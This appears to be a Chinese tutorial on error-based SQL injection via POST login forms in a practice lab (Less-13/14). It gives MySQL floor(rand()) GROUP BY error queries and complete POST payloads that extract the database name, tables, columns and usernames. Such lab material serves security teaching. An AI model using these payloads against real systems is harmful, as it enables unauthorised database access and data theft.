零、前言
这节课主要是基于错误的POST注入,之前我们已经对POST操作有了一定认识,这次我们进行一些复杂的POST注入测试。同样,我们还是先在mysql中测试注入语句,然后在到web前端测试。
一、Mysql Sql语句测试
我们再次构造一些Sql语句,使数据库出错,以此爆出敏感信息
Select database();
Select concat(“~”,database(),”~”,floor(rand()*2));
select concat("~",database(),"~",floor(rand()*2))name from information_schema.tables;
select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name;
select count(*),(concat("~",@@datadir,"~",floor(rand()*2)))name from information_schema.tables group by name;
select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name;
select count(*),(concat("~",(select column_name from information_schema.columns where table_name='users' limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name;
select count(*),(concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name;
同理,可以构造语句获取其他信息
二、前端注入测试
1、后台sql语句测试
uname=123'&passwd=456&submit=Submit
提示出错
这种情况就和之前的基于错误的注入很像—-正确的情况下不输出什么信息,而出错的时候输出敏感信息。所以,这次是一种post基于错误的注入。根据错信息分析后台sql语句
or the right syntax to use near ''123'') and password=('') LIMIT 0,1' at
Select * from table where username=(‘inputuser’) and password=(‘inputpass’)
2、注入测试
uname=123') and (select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&passwd=&submit=Submit
uname=123') and (select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&passwd=&submit=Submit
uname=123') and (select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_name='users' limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&passwd=&submit=Submit
uname=123') and (select 1 from (select count(*),(concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&passwd=&submit=Submit
三、Less-14
这节课与与上节课类似,只是Sql语句不一样
Select * from table where username=”inputuser” and password=”inputpass”
构造注入语句时只需将’)修改为”即可,例如:
uname=123” and (select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name)b) #&passwd=&submit=Submit
Pingback引用通告: Cıvata